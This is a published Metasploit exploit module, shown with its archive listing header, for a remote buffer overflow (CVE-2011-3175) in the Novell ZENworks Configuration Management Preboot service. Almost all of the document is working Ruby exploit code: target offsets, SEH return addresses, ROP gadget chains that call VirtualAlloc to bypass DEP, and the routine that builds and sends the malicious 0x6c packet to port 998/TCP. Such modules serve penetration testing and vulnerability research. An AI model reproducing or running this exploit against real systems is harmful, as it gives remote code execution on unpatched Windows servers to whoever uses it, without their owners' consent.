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Novell ZENworks Configuration Management Preboot Service 0x6c Buffer Overflow

Novell ZENworks Configuration Management Preboot Service 0x6c Buffer Overflow
Posted Jul 19, 2012
Authored by Luigi Auriemma, juan | Site metasploit.com

This Metasploit module exploits a remote buffer overflow in the ZENworks Configuration Management. The vulnerability exists in the Preboot service and can be triggered by sending a specially crafted packet with the opcode 0x6c (PROXY_CMD_GET_NEXT_STEP) to port 998/TCP. The module has been successfully tested on Novell ZENworks Configuration Management 10 SP2 / SP3 and Windows Server 2003 SP2 (DEP bypass).

tags | exploit, remote, overflow, tcp
systems | windows
advisories | CVE-2011-3175, OSVDB-80231
SHA-256 | 7d25707a364b6e8cc80a0819d82a572cf3f8dd0815e6c1b374eaa52379c9f479

Novell ZENworks Configuration Management Preboot Service 0x6c Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Novell ZENworks Configuration Management Preboot Service 0x6c Buffer Overflow',
'Description' => %q{
This module exploits a remote buffer overflow in the ZENworks Configuration
Management. The vulnerability exists in the Preboot service and can be triggered by
sending a specially crafted packet with the opcode 0x6c (PROXY_CMD_GET_NEXT_STEP)
to port 998/TCP. The module has been successfully tested on Novell ZENworks
Configuration Management 10 SP2 / SP3 and Windows Server 2003 SP2 (DEP bypass).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Luigi Auriemma', # Vulnerability Discovery
'juan' # Metasploit module
],
'References' =>
[
[ 'CVE', '2011-3175' ],
[ 'OSVDB', '80231' ],
[ 'BID', '52659' ],
[ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=973' ],
[ 'URL', 'http://support.novell.com/docs/Readmes/InfoDocument/patchbuilder/readme_5127930.html' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Payload' =>
{
'BadChars' => "\x00",
'Space'=> 990,
'DisableNops' => true,
'PrependEncoder' => "\x81\xC4\x54\xF2\xFF\xFF" # add esp, -3500
},
'Platform' => ['win'],
'Targets' =>
[
[ 'Novell ZENworks Configuration Management 10 SP3 / Windows 2003 SP2',
{
'Offset' => 1100,
'OffsetBottomStack' => 1148,
'OffsetRop' => 4,
'Ret' => 0x10024b8c # add esp, 1204 # ret from zenimgweb.dll
}
],
[ 'Novell ZENworks Configuration Management 10 SP2 / Windows 2003 SP2',
{
'Offset' => 1100,
'OffsetBottomStack' => 1148,
'OffsetRop' => 4,
'Ret' => 0x10024a7c # add esp, 1204 # ret from zenimgweb.dll
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Feb 22 2012',
'DefaultTarget' => 0))

register_options([Opt::RPORT(998)], self.class)
end

def junk(n=4)
return rand_text_alpha(n).unpack("V").first
end

def nop
return make_nops(4).unpack("L")[0].to_i
end

# rop chain generated with mona.py
def create_rop_chain()


if target.name =~ /Novell ZENworks Configuration Management 10 SP3/
rop_gadgets =
[
0x100066b1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]
0x00001000, # 0x00001000-> edx
0x100239df, # POP ECX # RETN [zenimgweb.dll]
0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll]
0x10018653, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
0x1002a38f, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]
0x00423ddd, # POP EBP # RETN [novell-pbserv.exe]
0x10007b22, # & push esp # ret [zenimgweb.dll]
0x100235dc, # POP EBX # RETN [zenimgweb.dll]
0x00000001, # 0x00000001-> ebx
0x0041961a, # POP ECX # RETN [novell-pbserv.exe]
0x00000040, # 0x00000040-> ecx
0x1004702b, # POP EDI # RETN [zenimgweb.dll]
0x1001d001, # RETN (ROP NOP) [zenimgweb.dll]
0x10011217, # POP EAX # RETN [zenimgweb.dll]
nop,
0x10018ec8, # PUSHAD # RETN [zenimgweb.dll]
].pack("V*")
else # Novell ZENworks Configuration Management 10 SP2
rop_gadgets =
[
0x100065d1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]
0x00001000, # 0x00001000-> edx
0x10062113, # POP ECX # RETN [zenimgweb.dll]
0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll]
0x10018553, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
0x10016818, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]
0x1002fd05, # POP EBP # RETN [zenimgweb.dll]
0x10043053, # & push esp # ret [zenimgweb.dll]
0x1003cbf8, # POP EBX # RETN [zenimgweb.dll]
0x00000001, # 0x00000001-> ebx
0x00423eeb, # POP ECX # RETN [novell-pbserv.exe]
0x00000040, # 0x00000040-> ecx
0x1003173e, # POP EDI # RETN [zenimgweb.dll]
0x10020801, # RETN (ROP NOP) [zenimgweb.dll]
0x00406b58, # POP EAX # RETN [novell-pbserv.exe]
nop,
0x1006d1e6, # PUSHAD # RETN [zenimgweb.dll]
].pack("V*")
end

return rop_gadgets
end


def exploit
connect

buf = rand_text(4)
buf2 = rand_text(4)
buf3 = rand_text(4)
buf4 = rand_text(4)

buf5 = rand_text(target['OffsetRop'])
buf5 << create_rop_chain
buf5 << payload.encoded
buf5 << rand_text(target['Offset'] - buf5.length)
buf5 << generate_seh_record(target.ret)
buf5 << rand_text(target['OffsetBottomStack'] - buf4.length)

my_buf = ""
buf5.unpack("C*").each {|b|
my_buf << [b].pack("C")
my_buf << rand_text(1)
}

packet = [0x6c].pack("N") # Opcode 0x6c
packet << [buf.length].pack("N") # Length
packet << buf # Value
packet << [buf2.length].pack("N") # Length
packet << buf2 # Value
packet << [buf3.length].pack("N") # Length
packet << buf3 # Value
packet << [buf4.length].pack("N") # Length
packet << buf4 # Value
packet << [my_buf.length].pack("N") # Length
packet << my_buf # Value
sock.put(packet)

disconnect
end
end
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